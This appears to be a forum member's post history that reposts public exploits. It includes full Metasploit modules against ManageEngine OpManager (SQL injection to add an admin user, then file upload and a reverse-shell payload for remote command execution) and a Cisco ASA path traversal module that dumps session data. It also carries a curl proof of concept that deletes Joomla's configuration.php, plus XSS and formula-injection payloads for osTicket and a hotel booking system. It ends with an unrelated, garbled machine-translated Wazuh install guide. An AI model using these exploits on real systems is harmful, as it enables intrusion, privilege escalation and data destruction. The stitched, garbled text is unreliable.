Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Cisco Adaptive Security Appliance - Path Traversal", 'Description' => %q{ Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296) A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques. Google Dork:inurl:+CSCOE+/logon.html }, 'License' => MSF_LICENSE, 'Author' => [ 'Yassine Aboukir', #Initial discovery 'Angelo Ruwantha @h3llwings' #msf module ], 'References' => [ ['EDB', '44956'], ['URL', 'https://www.exploit-db.com/exploits/44956/'] ], 'Arch' => ARCH_CMD, 'Compat' => { 'PayloadType' => 'cmd' }, 'Platform' => ['unix','linux'], 'Targets' => [ ['3000 Series Industrial Security Appliance (ISA) ASA 1000V Cloud Firewall ASA 5500 Series Adaptive Security Appliances ASA 5500-X Series Next-Generation Firewalls ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers Adaptive Security Virtual Appliance (ASAv) Firepower 2100 Series Security Appliance Firepower 4100 Series Security Appliance Firepower 9300 ASA Security Module FTD Virtual (FTDv)', {}] ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'Ex: https://vpn.example.com', '/']), OptString.new('SSL', [true, 'set it as true', 'true']), OptString.new('RPORT', [true, '443', '443']), ], self.class) end def run uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'), }) if res && res.code == 200 && res.body.include?("{'name'") print_good("#{peer} is Vulnerable") print_status("Directory Index ") print_good(res.body) res_dir = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'), }) res_users = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'), }) userIDs=res_users.body.scan(/[0-9]\w+/).flatten print_status("CSCEO Directory ") print_good(res_dir.body) print_status("Active Session(s) ") print_status(res_users.body) x=0 begin print_status("Getting User(s)") while (x<=userIDs.length) users = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'+userIDs[x]), }) grab_username=users.body.scan(/user:\w+/) nonstr=grab_username if (!nonstr.nil? && nonstr!="") print_good("#{nonstr}") end x=x+1 end rescue print_status("Complete") end else print_error("safe") return Exploit::CheckCode::Safe end end end
  2. # Exploit Title:BSI Advance Hotel Booking System Persistent XSS # Google Dork: intext:Hotel Booking System v2.0 © 2008 - 2012 Copyright Best Soft Inc # Date: Wed Jun 4 2014 # Exploit Author: Angelo Ruwantha # Vendor Homepage: http://www.bestsoftinc.com # Software Link: http://www.bestsoftinc.com/php-advance-hotel-booking-system.html # Version: V2.0 # Tested on: archlinux # CVE : CVE-2014-4035 Vulnerability ======================== [+]Method:POST 1.http://URL/hotel-booking/booking_details.php (;persistent XSS) allowlang=&title=<IMG SRC="javascript:alert('HelloWorld ;)');"&fname=&lname=&str_addr=&city=&state=&zipcode=&country=&phone=&fax=&email=&payment_type=&message=&tos= every parameter injectable :)
  3. #Exploit Title: Joomla! component com_jssupportticket - Authenticated Arbitrary File Deletion #Dork: inurl:"index.php?option=com_jssupportticket" #Date: 10.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: https://www.joomsky.com/ #Software Link: https://www.joomsky.com/46/download/1.html #Version: 1.1.6 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### This vulnerability is caused when processing custom user field. file: admin/models/ticket.php function: storeTicket 54 function storeTicket($data){ ...snip... 75 $userfield = $this->getJSModel('userfields')->getUserfieldsfor(1); 76 $params = array(); 77 foreach ($userfield AS $ufobj) { 78 $vardata = ''; ...snip... 121 if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){ 122 $customflagfordelete = true; 123 $custom_field_namesfordelete[]= $data[$ufobj->field.'_2']; //no check. ...snip... 198 if($customflagfordelete == true){ 199 foreach ($custom_field_namesfordelete as $key) { 200 $res = $this->removeFileCustom($ticketid,$key); //!!! 201 } 202 } ...snip... 1508 function removeFileCustom($id, $key){ 1509 $filename = str_replace(' ', '_', $key); 1510 1511 if(! is_numeric($id)) 1512 return; 1513 1514 $db = JFactory::getDbo(); 1515 $config = $this->getJSModel('config')->getConfigByFor('default'); 1516 $datadirectory = $config['data_directory']; 1517 1518 $base = JPATH_BASE; 1519 if(JFactory::getApplication()->isAdmin()){ 1520 $base = substr($base, 0, strlen($base) - 14); //remove administrator 1521 } 1522 1523 $path = $base . '/' . $datadirectory. '/attachmentdata/ticket'; 1524 1525 $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id; 1526 $db->setQuery($query); 1527 $foldername = $db->loadResult(); 1528 $userpath = $path . '/' . $foldername.'/'.$filename; 1529 unlink($userpath); //!!! 1530 return; 1531 } ##################################### #PoC: ##################################### When administrator has added custom user field as "19", attacker are can trigger this vulnerability by send a following request. $> curl -X POST -i -F 'option=com_jssupportticket' -F 'c=ticket' -F 'task=saveTicket' -F '{VALID_FORMTOKEN_FROM_FORMTICKET}=1' -F 'Itemid=666' -F 'id=' -F 'message=woot' -F '19_1=1' -F '19_2=../../../../configuration.php' -F 'filename[]=@./woot.txt' -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' 'http://localhost/index.php'
  4. # Exploit Title: osTicket-v1.12 Stored XSS # Vendor Homepage: https://osticket.com/ # Software Link: https://osticket.com/download/ # Exploit Author: Aishwarya Iyer # Contact: https://twitter.com/aish_9524 # Website: https://about.me/aish_iyer # Category: webapps # CVE: CVE-2019-14750 1. Description An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14750 2. Proof of Concept Steps to Reproduce: - While setting up the osTicket application in the setup/install.php page insert the XSS payload into the first name and last name field. - After filling in all the other details and clicking on 'continue', it is observed that there is no validation for the first name and last name field and the malicious payload is stored and a new agent is created. - Login as that agent and navigate to "agents" tab where we will find the inserted payload in the firstname and Lastname field. - Click on the firstname value and see the payload gets executed 3. Reference https://github.com/osTicket/osTicket/commit/c3ba5b78261e07a883ad8fac28c214486c854e12 https://github.com/osTicket/osTicket/releases/tag/v1.12.1 https://github.com/osTicket/osTicket/releases/tag/v1.10.7 4. Solution The vulnerability has been patched by the vendor in the next release which is osTicket v1.10.7.
  5. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution", 'Description' => %q( This module exploits sqli and command injection vulnerability in the OpManager v12.4.034 and prior versions. Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation. Therefore low authority user can gain the authority of "system" on the server. It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager Plugin. /////// This 0day has been published at DEFCON-AppSec Village. /////// ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Privilege-Escalation-Remote-Command-Execution.html' ] ], 'DefaultOptions' => { 'WfsDelay' => 60, 'RPORT' => 8060, 'SSL' => false, 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['unix', 'win'], 'Targets' => [ [ 'Windows Target', { 'Platform' => ['win'], 'Arch' => ARCH_CMD, } ], [ 'Linux Target', { 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', } } } ] ], 'DisclosureDate' => '10 August 2019 //DEFCON', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'OpManager Username']), OptString.new('PASSWORD', [true, 'OpManager Password']), OptString.new('TARGETURI', [true, 'Base path for ME application', '/']) ],self.class) end def check_platform(host, port, cookie) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'showTile.do'), 'cookie' => cookie, 'vars_get' => { 'TileName' => '.ExecProg', 'haid' => 'null', } ) if res && res.code == 200 && res.body.include?('createExecProgAction') @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] if @dir =~ /:/ platform = Msf::Module::Platform::Windows else platform = Msf::Module::Platform::Unix end else fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.') end file_up(host, port, cookie, platform, @dir) end def file_up(host, port, cookie, platform, dir) if platform == Msf::Module::Platform::Windows filex = ".bat" else if payload.encoded =~ /sh/ filex = ".sh" elsif payload.encoded =~ /perl/ filex = ".pl" elsif payload.encoded =~ /awk 'BEGIN{/ filex = ".sh" elsif payload.encoded =~ /python/ filex = ".py" elsif payload.encoded =~ /ruby/ filex = ".rb" else fail_with(Failure::Unknown, 'Payload type could not be checked!') end end @fname= rand_text_alpha(9 + rand(3)) + filex data = Rex::MIME::Message.new data.add_part('./', nil, nil, 'form-data; name="uploadDir"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"") res = send_request_cgi({ 'rhost' => host, 'rport' => port, 'method' => 'POST', 'data' => data.to_s, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "Upload.do") }) if res && res.code == 200 && res.body.include?('icon_message_success') print_good("#{@fname} malicious file has been uploaded.") create_exec_prog(host, port, cookie, dir, @fname) else fail_with(Failure::Unknown, 'The file could not be uploaded!') end end def create_exec_prog(host, port, cookie, dir, fname) @display = rand_text_alphanumeric(7) res = send_request_cgi( 'method' => 'POST', 'rhost' => host, 'rport' => port, 'uri' => normalize_uri(target_uri.path, 'adminAction.do'), 'cookie' => cookie, 'vars_post' => { 'actions' => '/showTile.do?TileName=.ExecProg&haid=null', 'method' => 'createExecProgAction', 'id' => 0, 'displayname' => @display, 'serversite' => 'local', 'choosehost' => -2, 'abortafter' => 5, 'command' => fname, 'execProgExecDir' => dir, 'cancel' => 'false' } ) if res && res.code == 200 && res.body.include?('icon_message_success') actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] print_status("Transactions completed. Attempting to get a session...") exec(host, port, cookie, actionid) else fail_with(Failure::Unreachable, 'Connection error occurred!') end end def exec(host, port, cookie, action) send_request_cgi( 'method' => 'GET', 'rhost' => host, 'rport' => port, 'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'), 'cookie' => cookie, 'vars_get' => { 'method' => 'testAction', 'actionID' => action, 'haid' => 'null' } ) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) # For this part the build control will be placed. # For now, AppManager plugin control is sufficient. if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def app_login res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0] am_host = appm_adr.split('://')[1].split(':')[0] am_port = appm_adr.split('://')[1].split(':')[1] if res && res.code == 200 && res.body.include?('.loginForm') @cookie = res.get_cookies res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method' => 'GET', 'cookie' => @cookie, 'uri' => '/Logout.do?showPreLogin=true', ) appm_cookie = 'JSESSIONID_APM_' << res.headers['set-cookie'].split('JSESSIONID_APM_')[1].split('; ')[0] else print_error("APM Plugin does not working!") end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'j_security_check'), 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'] } ) if res && res.code == 302 print_good("Successful login OPM with user : #{datastore['USERNAME']}") @cookie = res.get_cookies saltcookie = res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0] res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, ';jsessionid=' + saltcookie), 'cookie' => @cookie, ) @cookie = res.get_cookies res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'index.jsp'), 'cookie' => @cookie, ) cookie = @cookie + " " + res.get_cookies res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']), 'cookie' => cookie ) @cookie = cookie + " " + res.get_cookies res = send_request_cgi( 'method' => 'POST', 'rhost' => am_host, 'rport' => am_port, 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['USERNAME'] + "@opm", 'submit' => 'Login' } ) res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']), 'cookie' => @cookie ) @cookies = @cookie + " " + res.get_cookies send_sqli(am_host, am_port, @cookies, @cookie) else fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.') end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end app_login end def send_sqli(host, port, cookies, cookie) @uname = Rex::Text.rand_text_alpha_lower(6) uid = rand_text_numeric(3) apk = rand_text_numeric(6) @pwd = rand_text_alphanumeric(8+rand(9)) @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}" @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" pg_user ="" pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+" pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);" pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+" ms_user ="" ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR}," ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});" ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--" res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'), 'cookie' => cookies ) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) if res && res.code == 200 && res.body.include?('.loginDiv') @cookie = res.get_cookies res = send_request_cgi( 'method' => 'POST', 'rhost' => host, 'rport' => port, 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => @uname, 'j_password' => @pwd, 'submit' => 'Login' } ) if res && res.code == 302 && res.body.include?('Redirecting to') print_good("Privilege Escalation was successfully performed.") print_good("New APM admin username = " + @uname) print_good("New APM admin password = " + @pwd) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'cookie' => @cookie, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies check_platform(host, port, @cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!') end else fail_with(Failure::NotVulnerable, 'Something went wrong!') end end end
  6. # Exploit Title: osTicket-v1.12 Stored XSS via File Upload # Vendor Homepage: https://osticket.com/ # Software Link: https://osticket.com/download/ # Exploit Author: Aishwarya Iyer # Contact: https://twitter.com/aish_9524 # Website: https://about.me/aish_iyer # Category: webapps # CVE: CVE-2019-14748 1. Description An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. The Ticket creation form allows users to upload files along with queries. It was found that the file-upload functionality has fewer (or no) mitigations implemented for file content checks; also, the output is not handled properly, causing persistent XSS that leads to cookie stealing or malicious actions. For example, a non-agent user can upload a .html file, and Content-Disposition will be set to inline instead of an attachment. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14748 2. Proof of Concept Steps to Reproduce: - Login to the portal as a non agent user: - Open a New Ticket - Select any option from the dropdown menu present under "Help Topic" - Text box appears, enter details accordingly - In the section "drop files here or choose them", we would be putting our payload - Open any text editor and name the file as test(say) with .html extension. - Within the file, enter the payload <script>alert(document.cookie);</script> - Save the test.html file. - Now click on drop files here option and enter the test.html file. - Click on "create ticket" option - Login with another user(agent) - Now within the User Directory, go to the user under which the payload has been put. - The ticket raised with the name mentioned will be shown under the subject category. - Scroll down and the file uploaded will be present below. - Click on the file, and the payload gets executed which is persistent 3. Reference https://github.com/osTicket/osTicket/commit/33ed106b1602f559a660a69f931a9d873685d1ba https://github.com/osTicket/osTicket/releases/tag/v1.12.1 https://github.com/osTicket/osTicket/releases/tag/v1.10.7 4. Solution The vulnerability has been patched by the vendor in the next release which is osTicket v1.10.7.
  7. # Exploit Title: osTicket-v1.12 Formula Injection # Vendor Homepage: https://osticket.com/ # Software Link: https://osticket.com/download/ # Exploit Author: Aishwarya Iyer # Contact: https://twitter.com/aish_9524 # Website: https://about.me/aish_iyer # Category: webapps # CVE: CVE-2019-14749 1. Description An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. CSV (aka Formula) injection exists in the export spreadsheets functionality. These spreadsheets are generated dynamically from unvalidated or unfiltered user input in the Name and Internal Notes fields in the Users tab, and the Issue Summary field in the tickets tab. This allows other agents to download data in a .csv file format or .xls file format. This is used as input for spreadsheet applications such as Excel and OpenOffice Calc, resulting in a situation where cells in the spreadsheets can contain input from an untrusted source. As a result, the end user who is accessing the exported spreadsheet can be affected. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14749 2. Proof of Concept Steps to Reproduce: - Login as an agent and under the "Users" section create a new user. - Insert the crafted payload of Formula Injection into "Name" and "Internal Notes" field. - Login as another agent and under the Users tab, click on export and then save the ".csv" file. - It is observed that the payload gets executed in excel and this leads to remote code execution. - Not just an agent, even a non-agent user has the option to edit his name where he can insert the malicious payload of Formula Injection. - The application does not sanitize the inputs here due to which when the agent clicks on export the payload gets executed. -The same issue persisted in the "Issue Summary" field in the tickets tab. 3. Reference https://github.com/osTicket/osTicket/commit/99818486c5b1d8aa445cee232825418d6834f249 https://github.com/osTicket/osTicket/releases/tag/v1.12.1 https://github.com/osTicket/osTicket/releases/tag/v1.10.7 4. Solution The vulnerability has been patched by the vendor in the next release which is osTicket v1.10.7.
  8. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine OpManager v12.4x - Unauthenticated Remote Command Execution", 'Description' => %q( This module bypasses the user password requirement in the OpManager v12.4.034 and prior versions. It performs authentication bypass and executes commands on the server. /////// This 0day has been published at DEFCON-AppSec Village. /////// ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Unauthenticated-Remote-Command-Execution.html' ] ], 'DefaultOptions' => { 'WfsDelay' => 60, 'RPORT' => 8060, 'SSL' => false, 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['unix', 'win'], 'Targets' => [ [ 'Windows Target', { 'Platform' => ['win'], 'Arch' => ARCH_CMD, } ], [ 'Linux Target', { 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', } } } ] ], 'DisclosureDate' => '10 August 2019 //DEFCON', 'DefaultTarget' => 0)) register_options( [ OptString.new('USERNAME', [true, 'OpManager Username', 'admin']), OptString.new('TARGETURI', [true, 'Base path for ME application', '/']) ],self.class) end def check_platform(host, port, cookie) res = send_request_cgi( 'rhost' => host, 'rport' => port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'showTile.do'), 'cookie' => cookie, 'vars_get' => { 'TileName' => '.ExecProg', 'haid' => 'null', } ) if res && res.code == 200 && res.body.include?('createExecProgAction') @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] if @dir =~ /:/ platform = Msf::Module::Platform::Windows else platform = Msf::Module::Platform::Unix end else fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.') end file_up(host, port, cookie, platform, @dir) end def file_up(host, port, cookie, platform, dir) if platform == Msf::Module::Platform::Windows filex = ".bat" else if payload.encoded =~ /sh/ filex = ".sh" elsif payload.encoded =~ /perl/ filex = ".pl" elsif payload.encoded =~ /awk 'BEGIN{/ filex = ".sh" elsif payload.encoded =~ /python/ filex = ".py" elsif payload.encoded =~ /ruby/ filex = ".rb" else fail_with(Failure::Unknown, 'Payload type could not be checked!') end end @fname= rand_text_alpha(9 + rand(3)) + filex data = Rex::MIME::Message.new data.add_part('./', nil, nil, 'form-data; name="uploadDir"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"") res = send_request_cgi({ 'rhost' => host, 'rport' => port, 'method' => 'POST', 'data' => data.to_s, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "Upload.do") }) if res && res.code == 200 && res.body.include?('icon_message_success') print_good("#{@fname} malicious file has been uploaded.") create_exec_prog(host, port, cookie, dir, @fname) else fail_with(Failure::Unknown, 'The file could not be uploaded!') end end def create_exec_prog(host, port, cookie, dir, fname) @display = rand_text_alphanumeric(7) res = send_request_cgi( 'method' => 'POST', 'rhost' => host, 'rport' => port, 'uri' => normalize_uri(target_uri.path, 'adminAction.do'), 'cookie' => cookie, 'vars_post' => { 'actions' => '/showTile.do?TileName=.ExecProg&haid=null', 'method' => 'createExecProgAction', 'id' => 0, 'displayname' => @display, 'serversite' => 'local', 'choosehost' => -2, 'abortafter' => 5, 'command' => fname, 'execProgExecDir' => dir, 'cancel' => 'false' } ) if res && res.code == 200 && res.body.include?('icon_message_success') actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] print_status("Transactions completed. Attempting to get a session...") exec(host, port, cookie, actionid) else fail_with(Failure::Unreachable, 'Connection error occurred!') end end def exec(host, port, cookie, action) send_request_cgi( 'method' => 'GET', 'rhost' => host, 'rport' => port, 'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'), 'cookie' => cookie, 'vars_get' => { 'method' => 'testAction', 'actionID' => action, 'haid' => 'null' } ) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false') appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0] am_host = appm_adr.split('://')[1].split(':')[0] am_port = appm_adr.split('://')[1].split(':')[1] res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) # Password check vulnerability in Java Script :/ if res.body.include?('j_password.value=username') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Safe end end def app_login res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), ) appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0] am_host = appm_adr.split('://')[1].split(':')[0] am_port = appm_adr.split('://')[1].split(':')[1] res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies res = send_request_cgi( 'method' => 'POST', 'rhost' => am_host, 'rport' => am_port, 'cookie' => @cookie, 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'vars_post' => { 'clienttype' => 'html', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['USERNAME'] + "@opm", 'submit' => 'Login' } ) if res && res.code == 302 or 303 print_good("Authentication bypass was successfully performed.") res = send_request_cgi( 'rhost' => am_host, 'rport' => am_port, 'cookie' => @cookie, 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'applications.do'), ) @cookie = res.get_cookies check_platform(am_host, am_port, @cookie) else fail_with(Failure::NotVulnerable, 'Failed to perform authentication bypass! Try with another username...') end end def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end app_login end end
  9. wazuhサーバーのインストール Wazuhサーバーは、あらゆるタイプのUNIXオペレーティングシステムにインストールできます。最も一般的にLinuxにインストールされています。システムに自動化されたスクリプトを提供できれば、インストールプロセスは簡単ですが、ソースからビルドしてインストールすることも非常に簡単です。 通常、Wazuhサーバーに2つのコンポーネントがインストールされます:マネージャーとAPI。さらに、分散アーキテクチャ(Wazuhサーバーはリモートエラスティックスタッククラスターにデータを送信します)の場合、ファイルビートをインストールする必要があります。 オペレーティングシステムとソースから構築するかどうかに応じて、Wazuhサーバーをインストールするための多くのオプションがあります。以下の表を参照して、インストール方法を選択してください。 タイプ説明RPMパッケージ centos/rhel/fedoraにWazuhサーバーをインストールします デブパッケージ debian/ubuntuにWazuhサーバーをインストールします 知らせ Wazuh APIは32ビットプラットフォームでは使用できないため、Wazuhサーバーを64ビットオペレーティングシステムにインストールすることを強くお勧めします。 Wazuh APIがなければ、Wazuh Kibanaアプリケーションの機能のほとんどは機能しません。同様に、Wazuh ServerプラットフォームにRed HatまたはCentosを使用している場合は、Wazuh APIを適切にインストールするためにバージョン6以下であることを確認してください。 RPMパッケージを使用してWazuhサーバーをインストールします CENTOS/RHEL/FEDORAプラットフォームの場合、Wazuh Serverコンポーネントをインストールするには、更新ソースを追加した後に関連するソフトウェアパッケージをインストールする必要があります。 注:以下で使用されるコマンドの多くは、ルートユーザー許可を使用して実行する必要があります。 wazuhリポジトリを追加 Wazuhをセットアップする最初のステップは、Wazuhアップデートソースをシステムに追加することです。 Wazuh-Managerパッケージを直接ダウンロードするか、互換性のあるバージョンを表示する場合は、ここをクリックしてください。 更新ソースを設定するには、次のコマンドを実行します。 #cat /etc/yum.repos.d/wazuh.repo \ eof [wazuh_repo] gpgcheck=1 gpgkey=https://packages.wazuh.com/key/gpg-key-wazuh 有効=1 name=wazuhリポジトリ baseurl=https://packages.wazuh.com/3.x/yum/ 保護=1 EOF Centos-5およびRhel-5の場合: #cat /etc/yum.repos.d/wazuh.repo \ eof [wazuh_repo] gpgcheck=1 gpgkey=http://packages.wazuh.com/key/gpg-key-wazuh-5 有効=1 name=wazuhリポジトリ baseurl=http://packages.wazuh.com/3.x/yum/5/$ basearch/ 保護=1 EOF Wazuh Managerのインストール 次のステップは、システムにWazuhマネージャーをインストールすることです。 #yumインストールwazuh-manager このプロセスを完了したら、次のコマンドを使用してサービスステータスを確認できます A.SystemD: #SystemCTLステータスWazuh-Manager B. sysv init:用 #サービスwazuh-managerステータス wazuh api のインストール Wazuh APIを実行するには、nodejs=4.6.1が必要です。 nodejsがインストールされていない場合、またはバージョンが4.6.1未満の場合は、以下に示すように公式のnodejsアップデートソースライブラリを追加することをお勧めします。 #curl - silent - ロケーションhttps://rpm.nodesource.com/setup_8.x |バッシュ - 次に、nodejsをインストールします。 #yumインストールnodejs 2。WazuhAPIを実行するには、python=2.7が必要です。デフォルトでインストールされているか、ほとんどのLinuxディストリビューションの公式ライブラリに含まれています。 システム上のPythonバージョンが2.7未満であるかどうかを判断するには、次のコマンドを実行できます。 #python -version 